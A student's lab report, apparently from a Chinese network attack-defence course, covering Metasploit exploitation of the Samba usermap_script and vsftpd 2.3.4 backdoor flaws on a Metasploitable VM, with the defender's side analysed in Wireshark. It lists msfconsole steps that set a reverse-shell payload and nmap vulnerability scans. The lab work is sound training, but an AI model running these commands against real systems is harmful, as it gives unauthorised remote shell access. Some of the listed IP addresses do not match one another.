20242802 2024-2025-2 《网络攻防实践》实践第七周报告

20242802 2024-2025-2 《网络攻防实践》实践第七周报告

1.实践内容

  1. 利用 Metasploit 渗透测试框架攻击 Linux 靶机上的 Samba 服务 Usermap_script 安全漏洞,以获取目标主机的访问权限。需要启动 Metasploit 软件,加载指定的渗透攻击模块,该模块针对 Samba 服务的 Usermap Script 漏洞,通过向目标系统发送恶意脚本,触发漏洞并执行攻击载荷。选择远程 Shell 作为攻击载荷,可选择正向或反向连接,正向连接由攻击者主动发起连接,而反向连接则由目标系统主动回连攻击者的服务器,具体选择取决于网络环境和目标系统的配置。设置攻击参数,包括目标主机 IP(RHOST)、本地主机 IP(LHOST),确保攻击能够正确执行。执行渗透攻击后,需要验证是否成功获取远程 Shell,并查看获得的权限级别,以判断攻击是否达到预期目标。
  2. 在攻防对抗实践部分,攻击方需利用 Metasploit 选择 Metasploitable 靶机中的漏洞进行渗透攻击,获取远程控制权,并尝试进一步提升至 root 权限。这一过程不仅涉及漏洞利用技术,还要求攻击者具备权限提升的能力,以获取更高层次的系统控制权。防守方则需使用Wireshark分析攻击过程,提取攻击者的 IP 地址、目标 IP 和端口、攻击发起时间、利用的漏洞以及攻击成功后在命令行输入的信息。

2.实践过程

(1)使用 Metasploit 进行 Linux 远程渗透攻击

将虚拟机都设置为桥接模式,确定Kali-Linux和Metasploitable_ubuntu虚拟机的IP和连通性:

虚拟机名称 IP地址
Kali-Linux 192.168.31.22
Metasploitable_ubuntu 192.168.31.118

启动 Metasploit:打开 Kali Linux 虚拟机,启动 Metasploit 软件,选择使用 msfconsole

搜索攻击模块:在 msfconsole 中输入 search usermap_script 命令,搜索到相关的攻击模块。

msfconsole
search usermap_script

选择攻击模块:输入 use 0 命令,查看可用载荷

use 0
show payloads

选择 exploit/multi/samba/usermap_script 渗透攻击模块

设置攻击载荷:输入 set payload cmd/unix/reverse 命令,选择远程 shell 作为攻击载荷。

set payload cmd/unix/reverse

配置攻击参数

set LHOST 192.168.200.5
set RHOST 192.168.200.197
show options

查看攻击结果:成功获取目标主机的远程 Shell 后,查看攻击目标的IP,确实为192.168.31.118,攻击成功

(2)实践作业:攻防对抗实践

作为攻击方

确认攻击机和靶机IP 并且测试其连通性:

虚拟机名称 IP地址
Kali-Linux 192.168.31.22
Metasploitable_ubuntu 192.168.31.118

扫描目标系统:在 Kali Linux 虚拟机中,使用命令 sudo nmap -sV 192.168.31.118 对 Metasploitable 靶机进行扫描

sudo nmap -sV 192.168.31.118

检测漏洞:进一步使用命令 sudo nmap --script vuln 192.168.31.118 对靶机进行漏洞扫描

sudo nmap --script vuln 192.168.31.118

可以发现例如CVE-2014-3566和CVE-2007-6750等漏洞

重复第一个实验的攻击操作:

设置攻击载荷为 cmd/unix/reverse,并分别设置 LHOST 和 RHOST 为 192.168.137.22192.168.137.62

msfconsole
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
set LHOST 192.168.137.22
set RHOST 192.168.137.62
show options
exploit

执行攻击并尝试提权:执行攻击命令后,成功获得远程控制权,攻击成功。

作为防御方:

虚拟机名称 IP地址
Kali-Linux 192.168.43.8
Metasploitable_ubuntu 192.168.43.135

确认攻击机和靶机IP 并且测试其连通性:

攻击方的攻击操作如上述相似,这里利用了vsftp漏洞:

use exploit/unix/ftp/vsftpd_234_backdoor
set LHOST 192.168.43.8
set RHOST 192.168.43.135
show options
exploit

在wireshark中进行监听,设置监听条件 ip.addr == 192.168.43.8 && ip.addr == 192.168.43.135,对攻击方和防守方之间的网络通信进行监听。

ip.addr == 192.168.43.8 && ip.addr == 192.168.43.135

跟踪STCP流,查看到攻击者为192.168.43.8,且从4444号端口进行攻击渗透

查看在shell上输入的内容

在/mnt下创建了yyj01和yyj02文件夹

返回靶机查看,发现两文件夹存在

防御结束!

3.学习中遇到的问题及解决

  • 问题1:执行攻击后,Metasploit 不返回与目标系统交互的 Shell

  • 问题1解决方案:检查攻击机和靶机的连通性,发现在攻击之前改变了网络适配器的模式,攻击机与靶机已无法ping通,将两个虚拟机都设为桥接模式再次进行连通性测试 ping通后重复实验成功

4.实践总结

本次实验与第六次实验有很多相同的地方,但在实验过程中为了更加直接地体会攻守双方的操作,我同时在攻防对抗中作为攻击方和防御方的不同角色,在kali虚拟机上一边在终端使用 Metasploit 进行攻击,一边打开wireshark监听,抓包来查看观察攻击者的 IP 地址、攻击时间、使用的漏洞和 Shellcode 等信息,从防御角度思考如何识别和阻止攻击。

posted @ 2025-04-15 22:26  Anton_buer  阅读(12)  评论(0)    收藏  举报